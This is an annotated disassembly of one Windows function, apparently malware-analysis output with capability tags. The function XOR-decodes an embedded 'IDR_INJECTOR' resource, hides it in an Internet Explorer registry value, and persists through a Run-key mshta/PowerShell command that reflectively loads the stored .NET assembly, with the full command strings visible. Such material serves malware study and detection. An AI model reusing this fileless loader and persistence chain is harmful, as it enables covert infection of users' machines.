Function at 0x401e64
Capabilities:
Create process on windows
Extract resource via kernel32 functions
Persist via run registry key
Set registry value

Disassembly:
push ebp
mov ebp, esp
push ebx
sub esp, 0x134
mov dword [esp + 8], 0x407157
mov dword [esp + 4], 0x65
mov dword [esp], 0
mov eax, dword [sym.imp.KERNEL32.dll_FindResourceA]
call eax
sub esp, 0xc
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0
jne 0x401ef7
lea eax, [ebp - 0xf9]
mov dword [ebp - 0x2c], eax
nop
nop
lea eax, [ebp - 0x114]
lea edx, [ebp - 0xf9]
mov dword [esp + 4], edx
mov dword [esp], str.Failed_to_find_resource:_IDR_INJECTOR
mov ecx, eax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_std.allocator_char____char_const__std::allocator_char__const_
sub esp, 8
lea eax, [ebp - 0x114]
mov dword [esp], eax
call sym.ShowErrorMessage_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const_
lea eax, [ebp - 0x114]
mov ecx, eax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea eax, [ebp - 0xf9]
mov ecx, eax
call method.std::__new_allocator_char_.__new_allocator__
nop
mov eax, 0
jmp 0x4022d7
mov eax, dword [ebp - 0x14]
mov dword [esp + 4], eax
mov dword [esp], 0
mov eax, dword [sym.imp.KERNEL32.dll_SizeofResource]
call eax
sub esp, 8
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 0
jne 0x401f77
lea eax, [ebp - 0xdd]
mov dword [ebp - 0x30], eax
nop
nop
lea eax, [ebp - 0xf8]
lea edx, [ebp - 0xdd]
mov dword [esp + 4], edx
mov dword [esp], str.Failed_to_get_the_size_of_the_resource
mov ecx, eax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_std.allocator_char____char_const__std::allocator_char__const_
sub esp, 8
lea eax, [ebp - 0xf8]
mov dword [esp], eax
call sym.ShowErrorMessage_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const_
lea eax, [ebp - 0xf8]
mov ecx, eax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea eax, [ebp - 0xdd]
mov ecx, eax
call method.std::__new_allocator_char_.__new_allocator__
nop
mov eax, 0
jmp 0x4022d7
mov eax, dword [ebp - 0x14]
mov dword [esp + 4], eax
mov dword [esp], 0
mov eax, dword [sym.imp.KERNEL32.dll_LoadResource]
call eax
sub esp, 8
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_LockResource]
call eax
sub esp, 4
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 0
jne 0x402004
lea eax, [ebp - 0xc1]
mov dword [ebp - 0x34], eax
nop
nop
lea eax, [ebp - 0xdc]
lea edx, [ebp - 0xc1]
mov dword [esp + 4], edx
mov dword [esp], str.Fail_load_and_lock_resource
mov ecx, eax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_std.allocator_char____char_const__std::allocator_char__const_
sub esp, 8
lea eax, [ebp - 0xdc]
mov dword [esp], eax
call sym.ShowErrorMessage_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const_
lea eax, [ebp - 0xdc]
mov ecx, eax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea eax, [ebp - 0xc1]
mov ecx, eax
call method.std::__new_allocator_char_.__new_allocator__
nop
mov eax, 0
jmp 0x4022d7
mov eax, dword [ebp - 0x18]
mov dword [esp], eax
call sym.operator_new___unsigned_int_
mov dword [ebp - 0x20], eax
mov byte [ebp - 9], 0x77
mov dword [ebp - 0x10], 0
jmp 0x40203f
mov edx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x10]
add eax, edx
movzx eax, byte [eax]
mov ecx, dword [ebp - 0x20]
mov edx, dword [ebp - 0x10]
add edx, ecx
xor al, byte [ebp - 9]
mov byte [edx], al
add byte [ebp - 9], 5
add dword [ebp - 0x10], 1
mov eax, dword [ebp - 0x10]
cmp eax, dword [ebp - 0x18]
jb 0x40201f
lea eax, [ebp - 0x118]
mov dword [esp + 0x10], eax
mov dword [esp + 0xc], 0xf003f
mov dword [esp + 8], 0
mov dword [esp + 4], str.SoftwareMicrosoftInternet_Explorer
mov dword [esp], 0x80000001
mov eax, dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
call eax
sub esp, 0x14
test eax, eax
setne al
test al, al
je 0x40208d
mov eax, 0
jmp 0x4022d7
mov eax, dword [ebp - 0x118]
mov edx, dword [ebp - 0x18]
mov dword [esp + 0x14], edx
mov edx, dword [ebp - 0x20]
mov dword [esp + 0x10], edx
mov dword [esp + 0xc], 3
mov dword [esp + 8], 0
mov dword [esp + 4], 0
mov dword [esp], eax
mov eax, dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
call eax
sub esp, 0x18
test eax, eax
setne al
test al, al
je 0x4020d9
mov eax, 0
jmp 0x4022d7
mov dword [ebp - 0x24], str.mshta__javascript:close_new_ActiveXObject_WScript.Shell_.run_powershell___Reflection.Assembly_::Load__Microsoft.Win32.Registry_::CurrentUser.OpenSubKey__SoftwareMicrosoftInternet_Explorer__.GetValue__Null__.EntryPoint.Invoke_0__Null___0___
mov dword [ebp - 0x28], str.__Reflection.Assembly_::Load__Microsoft.Win32.Registry_::CurrentUser.OpenSubKey__SoftwareMicrosoftInternet_Explorer__.GetValue__Null__.EntryPoint.Invoke_0__Null__
lea eax, [ebp - 0x81]
mov dword [ebp - 0x38], eax
nop
nop
lea eax, [ebp - 0x9c]
lea edx, [ebp - 0x81]
mov dword [esp + 4], edx
mov edx, dword [ebp - 0x24]
mov dword [esp], edx
mov ecx, eax
call method.std::__cxx11::basic_string_wchar_t__std::char_traits_wchar_t___std::allocator_wchar_t___::basic_string_std.allocator_wchar_t____wchar_t_const__std::allocator_wchar_t__const_
sub esp, 8
lea eax, [ebp - 0xc0]
lea edx, [ebp - 0x9c]
mov dword [esp], edx
mov ecx, eax
call method.nt_cpp::Udc.Udc_std::__cxx11::basic_string_wchar_t__std::char_traits_wchar_t___std::allocator_wchar_t____const_
sub esp, 4
lea eax, [ebp - 0x5c]
mov dword [esp], eax
call method.nt_cpp.GetCurrentUserPath__
lea eax, [ebp - 0x80]
mov dword [esp + 8], str.SoftwareMicrosoftWindowsCurrentVersionRun_
lea edx, [ebp - 0x5c]
mov dword [esp + 4], edx
mov dword [esp], eax
call method.nt_cpp::Udc_nt_cpp.operator_50u__nt_cpp::Udc__wchar_t_const_____50u__
mov dword [esp + 8], 0
lea eax, [ebp - 0xc0]
mov dword [esp + 4], eax
lea eax, [ebp - 0x80]
mov dword [esp], eax
call method.nt_cpp.SetValue_nt_cpp::Udc__nt_cpp::Udc__unsigned_long_
xor eax, 1
mov ebx, eax
lea eax, [ebp - 0x80]
mov ecx, eax
call method.nt_cpp::Udc.Udc__
lea eax, [ebp - 0x5c]
mov ecx, eax
call method.nt_cpp::Udc.Udc__
lea eax, [ebp - 0xc0]
mov ecx, eax
call method.nt_cpp::Udc.Udc__
lea eax, [ebp - 0x9c]
mov ecx, eax
call sym.std::__cxx11::basic_string_wchar_t__std::char_traits_wchar_t___std::allocator_wchar_t___::basic_string__
lea eax, [ebp - 0x81]
mov ecx, eax
call method.std::__new_allocator_wchar_t_.__new_allocator__
nop
test bl, bl
je 0x4021bc
mov eax, 0
jmp 0x4022d7
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 0
mov eax, dword [ebp - 0x28]
mov dword [esp + 0xc], eax
mov dword [esp + 8], str.powershell
mov dword [esp + 4], str.open
mov dword [esp], 0
mov eax, dword [sym.imp.SHELL32.dll_ShellExecuteA]
call eax
sub esp, 0x18
mov eax, 0
jmp 0x4022d7
mov ebx, dword [ebp - 4]
leave
ret 0x10